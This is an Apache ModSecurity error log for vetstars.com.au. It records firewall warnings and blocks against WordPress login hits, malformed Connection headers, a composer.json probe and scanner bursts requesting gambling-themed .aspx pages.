[Tue Mar 03 05:49:22.556163 2026] [:error] [pid 36784:tid 36840] [client 212.132.70.123:36618] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.132.70.123, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaYF4nNeKOSGbW9kDgTKegAAAFE"]
[Tue Mar 03 05:56:40.634812 2026] [:error] [pid 26186:tid 26194] [client 217.63.112.92:64844] [client 217.63.112.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.63.112.92, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaYHmPbZCNtk8wDak9eP-AAAAUY"]
[Tue Mar 03 07:44:58.620210 2026] [:error] [pid 26186:tid 26188] [client 124.156.225.181:45796] [client 124.156.225.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaYg-vbZCNtk8wDak9fbbgAAAUA"]
[Tue Mar 03 11:16:47.445052 2026] [:error] [pid 36785:tid 36851] [client 46.4.235.36:51334] [client 46.4.235.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.4.235.36, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaZSn3hJejauENG9qTjT8QAAAIE"]
[Tue Mar 03 11:40:24.483012 2026] [:error] [pid 20872:tid 20895] [client 43.164.195.17:56914] [client 43.164.195.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaZYKIlYbNk3E_3CgBj45AAAARU"]
[Tue Mar 03 11:52:42.717102 2026] [:error] [pid 14042:tid 14050] [client 49.233.45.47:47170] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaZbCmeHGCmSEiIBcK70HgAAAYY"]
[Tue Mar 03 12:04:16.685348 2026] [:error] [pid 36783:tid 36817] [client 217.182.195.233:42476] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aaZdwD4tNYh5NtLaTXcyXQAAABc"]
[Tue Mar 03 12:04:19.173756 2026] [:error] [pid 36897:tid 36904] [client 217.182.195.233:39062] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aaZdwyZC69_8eM0UoutIuwAAAMI"]
[Tue Mar 03 12:04:21.562806 2026] [:error] [pid 20872:tid 20887] [client 217.182.195.233:37276] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aaZdxYlYbNk3E_3CgBgCBgAAAQ0"]
[Tue Mar 03 12:04:24.093660 2026] [:error] [pid 26186:tid 26200] [client 217.182.195.233:37280] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aaZdyPbZCNtk8wDak9dzzQAAAUw"]
[Tue Mar 03 12:04:26.477106 2026] [:error] [pid 14042:tid 14061] [client 217.182.195.233:37288] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aaZdymeHGCmSEiIBcK79zAAAAZE"]
[Tue Mar 03 12:04:29.034416 2026] [:error] [pid 20872:tid 20882] [client 217.182.195.233:37292] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaZdzYlYbNk3E_3CgBgCHgAAAQg"]
[Tue Mar 03 12:04:31.564680 2026] [:error] [pid 14042:tid 14056] [client 217.182.195.233:37818] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaZdz2eHGCmSEiIBcK793wAAAYw"]
[Tue Mar 03 12:04:34.063595 2026] [:error] [pid 36783:tid 36811] [client 217.182.195.233:37828] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaZd0j4tNYh5NtLaTXcyYwAAABE"]
[Tue Mar 03 12:04:36.432751 2026] [:error] [pid 14042:tid 14050] [client 217.182.195.233:37832] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aaZd1GeHGCmSEiIBcK795AAAAYY"]
[Tue Mar 03 12:04:38.957505 2026] [:error] [pid 36784:tid 36836] [client 217.182.195.233:37836] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aaZd1nNeKOSGbW9kDgQQPAAAAE0"]
[Tue Mar 03 12:04:41.479641 2026] [:error] [pid 14042:tid 14061] [client 217.182.195.233:36384] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaZd2WeHGCmSEiIBcK799AAAAZE"]
[Tue Mar 03 12:04:43.888070 2026] [:error] [pid 36784:tid 36835] [client 217.182.195.233:36388] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aaZd23NeKOSGbW9kDgQQQAAAAEw"]
[Tue Mar 03 12:04:46.368993 2026] [:error] [pid 36784:tid 36830] [client 217.182.195.233:36404] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaZd3nNeKOSGbW9kDgQQRgAAAEc"]
[Tue Mar 03 12:04:48.880900 2026] [:error] [pid 14042:tid 14053] [client 217.182.195.233:36408] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aaZd4GeHGCmSEiIBcK7-CwAAAYk"]
[Tue Mar 03 12:04:51.387344 2026] [:error] [pid 14042:tid 14067] [client 217.182.195.233:52576] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aaZd42eHGCmSEiIBcK7-GAAAAZc"]
[Tue Mar 03 12:04:53.893985 2026] [:error] [pid 14042:tid 14060] [client 217.182.195.233:52578] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaZd5WeHGCmSEiIBcK7-KgAAAZA"]
[Tue Mar 03 12:04:56.393280 2026] [:error] [pid 26186:tid 26199] [client 217.182.195.233:52580] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aaZd6PbZCNtk8wDak9d0GgAAAUs"]
[Tue Mar 03 12:04:58.905893 2026] [:error] [pid 14042:tid 14063] [client 217.182.195.233:52594] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aaZd6meHGCmSEiIBcK7-NgAAAZM"]
[Tue Mar 03 12:05:01.422901 2026] [:error] [pid 26186:tid 26204] [client 217.182.195.233:43054] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aaZd7fbZCNtk8wDak9d0IwAAAVA"]
[Tue Mar 03 12:05:03.919842 2026] [:error] [pid 36897:tid 36926] [client 217.182.195.233:43060] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aaZd7yZC69_8eM0UoutJBQAAANg"]
[Tue Mar 03 12:05:06.440682 2026] [:error] [pid 36784:tid 36832] [client 217.182.195.233:43064] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aaZd8nNeKOSGbW9kDgQQWQAAAEk"]
[Tue Mar 03 12:05:08.949000 2026] [:error] [pid 36783:tid 36795] [client 217.182.195.233:43068] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aaZd9D4tNYh5NtLaTXcycgAAAAE"]
[Tue Mar 03 14:20:39.032977 2026] [:error] [pid 36785:tid 36854] [client 46.224.118.143:37348] [client 46.224.118.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.224.118.143, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaZ9t3hJejauENG9qTgDIgAAAIQ"]
[Tue Mar 03 14:31:05.724564 2026] [:error] [pid 26186:tid 26193] [client 170.106.165.76:46544] [client 170.106.165.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaaAKfbZCNtk8wDak9eVbAAAAUU"]
[Tue Mar 03 14:43:47.177176 2026] [:error] [pid 36784:tid 36839] [client 51.38.104.193:56750] [client 51.38.104.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/cidaas-pro-master/composer.json"] [unique_id "aaaDI3NeKOSGbW9kDgRYgAAAAFA"]
[Tue Mar 03 18:28:46.551009 2026] [:error] [pid 36783:tid 36813] [client 120.71.59.24:57918] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaa33j4tNYh5NtLaTXeZpAAAABM"]
[Tue Mar 03 19:44:01.907123 2026] [:error] [pid 14042:tid 14068] [client 51.77.216.36:43898] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aabJgWeHGCmSEiIBcK5m1wAAAZg"]
[Tue Mar 03 19:44:04.408551 2026] [:error] [pid 26186:tid 26193] [client 51.77.216.36:35536] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aabJhPbZCNtk8wDak9fBOgAAAUU"]
[Tue Mar 03 19:44:23.154313 2026] [:error] [pid 36897:tid 36914] [client 51.77.216.36:52236] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aabJlyZC69_8eM0UoutLeQAAAMw"]
[Tue Mar 03 19:44:25.494441 2026] [:error] [pid 36785:tid 36872] [client 51.77.216.36:52254] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aabJmXhJejauENG9qTjLSgAAAJY"]
[Tue Mar 03 19:44:27.992840 2026] [:error] [pid 26186:tid 26210] [client 51.77.216.36:52280] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aabJm_bZCNtk8wDak9fBSAAAAVY"]
[Tue Mar 03 19:44:30.447239 2026] [:error] [pid 20872:tid 20884] [client 51.77.216.36:52294] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aabJnolYbNk3E_3CgBguowAAAQo"]
[Tue Mar 03 19:44:32.969305 2026] [:error] [pid 14042:tid 14046] [client 51.77.216.36:38650] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aabJoGeHGCmSEiIBcK5m5gAAAYI"]
[Tue Mar 03 19:44:35.506560 2026] [:error] [pid 36785:tid 36854] [client 51.77.216.36:38674] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aabJo3hJejauENG9qTjLWAAAAIQ"]
[Tue Mar 03 19:44:38.130718 2026] [:error] [pid 36785:tid 36856] [client 51.77.216.36:38696] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aabJpnhJejauENG9qTjLagAAAIY"]
[Tue Mar 03 19:44:40.743007 2026] [:error] [pid 36785:tid 36858] [client 51.77.216.36:39520] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aabJqHhJejauENG9qTjLeQAAAIg"]
[Tue Mar 03 19:44:43.352944 2026] [:error] [pid 20872:tid 20875] [client 51.77.216.36:39544] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aabJq4lYbNk3E_3CgBguuAAAAQE"]
[Tue Mar 03 19:44:45.730074 2026] [:error] [pid 36784:tid 36823] [client 51.77.216.36:39554] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aabJrXNeKOSGbW9kDgS8GAAAAEA"]
[Tue Mar 03 19:44:48.338912 2026] [:error] [pid 62485:tid 62507] [client 51.77.216.36:39564] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aabJsP9R7DZ1ENjPMXRswwAAAdI"]
[Tue Mar 03 19:44:50.769150 2026] [:error] [pid 14042:tid 14060] [client 51.77.216.36:45170] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aabJsmeHGCmSEiIBcK5m8wAAAZA"]
[Tue Mar 03 19:44:53.181533 2026] [:error] [pid 26186:tid 26211] [client 51.77.216.36:45186] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aabJtfbZCNtk8wDak9fBVwAAAVc"]
[Tue Mar 03 19:44:55.660998 2026] [:error] [pid 26186:tid 26207] [client 51.77.216.36:45200] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aabJt_bZCNtk8wDak9fBXgAAAVM"]
[Tue Mar 03 19:44:58.032780 2026] [:error] [pid 36784:tid 36827] [client 51.77.216.36:45218] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aabJunNeKOSGbW9kDgS8JAAAAEQ"]
[Tue Mar 03 19:45:37.812597 2026] [:error] [pid 36784:tid 36831] [client 51.77.216.36:41670] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aabJ4XNeKOSGbW9kDgS8iQAAAEg"]
[Tue Mar 03 19:45:40.134259 2026] [:error] [pid 36785:tid 36867] [client 51.77.216.36:41694] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aabJ5HhJejauENG9qTjL3AAAAJE"]
[Tue Mar 03 19:45:42.530337 2026] [:error] [pid 36897:tid 36908] [client 51.77.216.36:50704] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aabJ5iZC69_8eM0UoutMLQAAAMY"]
[Tue Mar 03 19:45:44.970195 2026] [:error] [pid 26186:tid 26197] [client 51.77.216.36:50732] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aabJ6PbZCNtk8wDak9fBrgAAAUk"]
